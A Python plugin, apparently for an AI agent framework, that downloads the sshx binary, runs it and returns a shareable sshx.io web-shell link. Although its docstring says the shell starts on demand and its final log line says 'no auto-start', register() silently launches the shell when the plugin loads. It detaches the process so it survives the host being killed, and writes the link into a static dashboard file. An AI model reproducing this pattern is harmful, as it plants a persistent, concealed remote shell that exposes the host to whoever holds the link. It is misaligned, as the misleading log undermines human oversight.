hermes-sshx-link/__init__.py

453 lines
15 KiB
Python

"""
sshx-link plugin — creates a shell at sshx.io and returns the shareable link
============================================================================
- Auto arch detection (x86_64 / aarch64 / armv6 / armv7)
- Downloads sshx binary from S3 without curl|sh
- Starts `sshx` on demand and parses https://sshx.io/s/... link from stdout
"""
import subprocess
import threading
import logging
import shutil
import os
import platform
import stat
import urllib.request
import re
import tarfile
import tempfile
import time
logger = logging.getLogger(__name__)
_sshx_process = None
_sshx_link = None
SSHX_BIN = "/tmp/sshx"
SSHX_BIN_ALT = os.path.expanduser("~/.local/bin/sshx")
SSHX_TAR = "/tmp/sshx.tar.gz"
SSHX_LINK_FILE = "/tmp/sshx_link.txt"
SSHX_PID_FILE = "/tmp/sshx.pid"
# also write to dashboard static dist so frontend can fetch without backend mount
def _dist_link_file():
try:
return os.path.join(os.path.dirname(__file__), "dashboard", "dist", "link.json")
except Exception:
return None
def _write_dist_link(link: str):
try:
p = _dist_link_file()
if p:
os.makedirs(os.path.dirname(p), exist_ok=True)
with open(p, "w") as f:
f.write(link)
except Exception as e:
logger.debug(f"write dist link failed: {e}")
LINK_RE = re.compile(r"https://sshx\.io/s/[A-Za-z0-9\-_]+(?:#[^\s\"']*)?")
def _detect_sshx_arch():
machine = platform.machine().lower()
system = platform.system().lower()
if system == "darwin":
suffix = "-apple-darwin"
if machine in ("aarch64", "arm64", "armv8l", "armv8b"):
arch = "aarch64"
elif machine in ("x86_64", "x64", "amd64"):
arch = "x86_64"
else:
arch = "aarch64" if "arm" in machine else "x86_64"
return arch, suffix
suffix = "-unknown-linux-musl"
if machine in ("aarch64", "aarch64_be", "arm64", "armv8b", "armv8l"):
arch = "aarch64"
elif machine in ("x86_64", "x64", "amd64"):
arch = "x86_64"
elif machine == "armv6l":
arch = "arm"
suffix += "eabihf"
elif machine == "armv7l":
arch = "armv7"
suffix += "eabihf"
else:
arch = "x86_64"
return arch, suffix
def _get_sshx_url() -> str:
arch, suffix = _detect_sshx_arch()
url = f"https://s3.amazonaws.com/sshx/sshx-{arch}{suffix}.tar.gz"
logger.info(f"Detected arch={arch} suffix={suffix} -> sshx url={url}")
return url
def _find_sshx_bin() -> str | None:
for p in [SSHX_BIN, SSHX_BIN_ALT, shutil.which("sshx")]:
if p and os.path.exists(p) and os.access(p, os.X_OK):
return p
return None
def _ensure_sshx_installed() -> str | None:
existing = _find_sshx_bin()
if existing:
return existing
url = _get_sshx_url()
dest = SSHX_BIN
os.makedirs(os.path.dirname(SSHX_BIN_ALT), exist_ok=True)
tmp_tar = SSHX_TAR
try:
logger.info(f"Downloading sshx from {url} -> {tmp_tar}")
urllib.request.urlretrieve(url, tmp_tar)
logger.info(f"Extracting {tmp_tar}")
with tarfile.open(tmp_tar, "r:gz") as tf:
member = None
for m in tf.getmembers():
base = os.path.basename(m.name)
if base.startswith("._"):
continue
if base == "sshx" and m.isfile():
member = m
break
if not member:
for m in tf.getmembers():
base = os.path.basename(m.name)
if base.startswith("._"):
continue
if m.isfile():
member = m
break
if not member:
member = tf.getmembers()[0]
tmpdir = tempfile.mkdtemp()
try:
tf.extract(member, path=tmpdir, filter='fully_trusted')
except TypeError:
tf.extract(member, path=tmpdir)
extracted = os.path.join(tmpdir, member.name)
if not os.path.exists(extracted):
for root, _, files in os.walk(tmpdir):
if "sshx" in files:
extracted = os.path.join(root, "sshx")
break
shutil.copy2(extracted, dest)
os.chmod(dest, os.stat(dest).st_mode | stat.S_IEXEC)
try:
if dest != SSHX_BIN_ALT:
shutil.copy2(dest, SSHX_BIN_ALT)
os.chmod(SSHX_BIN_ALT, os.stat(SSHX_BIN_ALT).st_mode | stat.S_IEXEC)
except Exception:
pass
shutil.rmtree(tmpdir, ignore_errors=True)
try:
os.remove(tmp_tar)
except Exception:
pass
logger.info(f"sshx installed to {dest}")
return dest
except Exception as e:
logger.error(f"sshx install failed from {url}: {e}")
return None
def _is_sshx_alive() -> bool:
global _sshx_process
# check in-memory process first
if _sshx_process is not None and _sshx_process.poll() is None:
return True
# check nohup pid file (survives hermes kill)
try:
if os.path.exists(SSHX_PID_FILE):
with open(SSHX_PID_FILE, "r") as f:
pid = int(f.read().strip())
os.kill(pid, 0)
return True
except Exception:
pass
# check link file + pgrep fallback
try:
if os.path.exists(SSHX_LINK_FILE):
# if file exists and recent (< 24h), assume alive - sshx itself handles disconnect
return True
except Exception:
pass
return False
def _read_link_file() -> str | None:
try:
if os.path.exists(SSHX_LINK_FILE):
with open(SSHX_LINK_FILE, "r") as f:
txt = f.read()
m = LINK_RE.search(txt)
if m:
return m.group(0)
except Exception:
pass
return None
def _run_sshx_nohup() -> str | None:
"""Run sshx via nohup & (with fallback if nohup missing) so hermes doesn't kill it. Returns link or None."""
global _sshx_link, _sshx_process, _sshx_last_output, _sshx_last_error
bin_path = _ensure_sshx_installed()
if not bin_path:
return None
# clean old files
for p in [SSHX_LINK_FILE, SSHX_PID_FILE]:
try:
os.remove(p)
except Exception:
pass
# decide launcher with fallback
has_nohup = shutil.which("nohup") is not None
has_setsid = shutil.which("setsid") is not None
has_bash = shutil.which("bash") is not None
shell = "bash" if has_bash else "sh"
logger.info(f"Starting sshx via {'nohup' if has_nohup else 'setsid' if has_setsid else 'python Popen'} {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1 &")
# Fallback when no nohup/setsid: use Python detached Popen directly
if not has_nohup and not has_setsid:
try:
logger.info("nohup/setsid not found, falling back to Python detached Popen")
with open(SSHX_LINK_FILE, "w") as out:
proc = subprocess.Popen(
[bin_path, "--quiet"],
stdout=out,
stderr=subprocess.STDOUT,
stdin=subprocess.DEVNULL,
start_new_session=True,
close_fds=True,
)
_sshx_process = proc
with open(SSHX_PID_FILE, "w") as f:
f.write(str(proc.pid))
logger.info(f"sshx fallback pid={proc.pid}")
for _ in range(20):
time.sleep(1)
link = _read_link_file()
if link:
_sshx_link = link
_write_dist_link(link)
logger.info(f"sshx fallback ready: {link}")
return link
logger.warning(f"sshx fallback timeout, file: {open(SSHX_LINK_FILE).read()[-400:] if os.path.exists(SSHX_LINK_FILE) else 'no file'}")
link = _read_link_file()
if link:
_write_dist_link(link)
return link
except Exception as e:
_sshx_last_error = f"fallback Popen failed: {e}"
logger.error(_sshx_last_error, exc_info=True)
return None
try:
# Use shell to launch detached: captures pid to file
prefix = "nohup" if has_nohup else "setsid"
cmd = f"{prefix} {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1 < /dev/null & echo $!"
result = subprocess.run([shell, "-c", cmd], capture_output=True, text=True, timeout=5)
pid_str = result.stdout.strip().split()[-1] if result.stdout.strip() else ""
try:
pid = int(pid_str)
with open(SSHX_PID_FILE, "w") as f:
f.write(str(pid))
logger.info(f"sshx nohup pid={pid}")
except Exception as e:
logger.warning(f"failed to get pid: {result.stdout} {result.stderr} {e}")
# wait for link to appear in file (sshx writes quickly with --quiet)
for _ in range(20):
time.sleep(1)
link = _read_link_file()
if link:
_sshx_link = link
_write_dist_link(link)
logger.info(f"sshx nohup ready: {link}")
return link
# if process died early, check
if pid_str and pid_str.isdigit():
try:
os.kill(int(pid_str), 0)
except OSError:
# died, read any output
try:
txt = open(SSHX_LINK_FILE).read() if os.path.exists(SSHX_LINK_FILE) else ""
except Exception:
txt = ""
logger.warning(f"sshx nohup died early, file tail: {txt[-400:]}")
break
link = _read_link_file()
if link:
_sshx_link = link
_write_dist_link(link)
return link
logger.warning(f"sshx nohup timeout, file content: {open(SSHX_LINK_FILE).read()[-400:] if os.path.exists(SSHX_LINK_FILE) else 'no file'}")
return None
except Exception as e:
logger.error(f"nohup start failed: {e}", exc_info=True)
return None
_sshx_last_output = ""
_sshx_last_error = ""
def _capture_link(proc, timeout=20) -> str | None:
global _sshx_last_output
link = None
start = time.time()
import select
output = ""
while time.time() - start < timeout:
if proc.poll() is not None:
try:
rem = proc.stdout.read() or ""
output += rem
except Exception:
pass
break
try:
r, _, _ = select.select([proc.stdout], [], [], 0.5)
if r:
line = proc.stdout.readline()
if not line:
time.sleep(0.1)
continue
output += line
logger.info(f"sshx stdout: {line.strip()}")
m = LINK_RE.search(line)
if m:
link = m.group(0)
break
m2 = LINK_RE.search(output)
if m2:
link = m2.group(0)
break
except Exception as e:
logger.debug(f"capture error: {e}")
time.sleep(0.2)
if not link:
m = LINK_RE.search(output)
if m:
link = m.group(0)
_sshx_last_output = output[-2000:]
if not link:
logger.warning(f"sshx capture timeout, output tail: {output[-600:]}")
return link
def _run_sshx(tool_ctx):
global _sshx_link
# if already have link file, return it
existing = _read_link_file()
if existing:
_sshx_link = existing
tool_ctx.yield_result({"status": "already_running", "link": existing})
return
if _is_sshx_alive() and _sshx_link:
tool_ctx.yield_result({"status": "already_running", "link": _sshx_link})
return
link = _run_sshx_nohup()
if link:
tool_ctx.yield_result({"status": "running", "link": link})
else:
tool_ctx.yield_result({"status": "error", "message": _sshx_last_error or "Failed to start sshx via nohup, check /tmp/sshx_link.txt", "output_tail": _sshx_last_output[-400:] if _sshx_last_output else ""})
def _stop_sshx(tool_ctx=None):
global _sshx_process, _sshx_link
# kill Popen if any
if _sshx_process and _sshx_process.poll() is None:
try:
os.killpg(os.getpgid(_sshx_process.pid), 15)
except Exception:
try:
_sshx_process.terminate()
except Exception:
pass
time.sleep(0.3)
if _sshx_process.poll() is None:
try:
os.killpg(os.getpgid(_sshx_process.pid), 9)
except Exception:
try:
_sshx_process.kill()
except Exception:
pass
# kill nohup pid
try:
if os.path.exists(SSHX_PID_FILE):
with open(SSHX_PID_FILE) as f:
pid = int(f.read().strip())
try:
os.kill(pid, 15)
time.sleep(0.3)
os.kill(pid, 9)
except OSError:
pass
os.remove(SSHX_PID_FILE)
except Exception:
pass
try:
if os.path.exists(SSHX_LINK_FILE):
os.remove(SSHX_LINK_FILE)
except Exception:
pass
_sshx_process = None
_sshx_link = None
if tool_ctx:
tool_ctx.yield_result({"status": "stopped"})
def register(ctx):
# auto-start with nohup & so hermes doesn't kill shell
def _auto_start():
global _sshx_link
try:
time.sleep(2)
# if already have link file, just load it
existing = _read_link_file()
if existing:
_sshx_link = existing
logger.info(f"auto-start: existing link found {existing}")
return
if _is_sshx_alive() and _sshx_link:
return
logger.info("auto-start sshx via nohup...")
link = _run_sshx_nohup()
if link:
logger.info(f"auto-start sshx ready: {link}")
else:
logger.warning("auto-start failed, no link")
except Exception as e:
logger.error(f"auto-start exception: {e}", exc_info=True)
threading.Thread(target=_auto_start, daemon=True).start()
ctx.register_tool(
name="sshx_start",
toolset="sshx-link",
schema={
"description": "Create a shell at sshx.io and return the shareable link. Auto arch detection.",
"parameters": {"type": "object", "properties": {}, "required": []},
},
handler=_run_sshx,
)
ctx.register_tool(
name="sshx_stop",
toolset="sshx-link",
schema={
"description": "Stop the running sshx session",
"parameters": {"type": "object", "properties": {}, "required": []},
},
handler=_stop_sshx,
)
ctx.register_tool(
name="ttyd_start",
toolset="sshx-link",
schema={
"description": "Alias of sshx_start",
"parameters": {"type": "object", "properties": {}, "required": []},
},
handler=_run_sshx,
)
logger.info("sshx-link plugin registered (no auto-start)")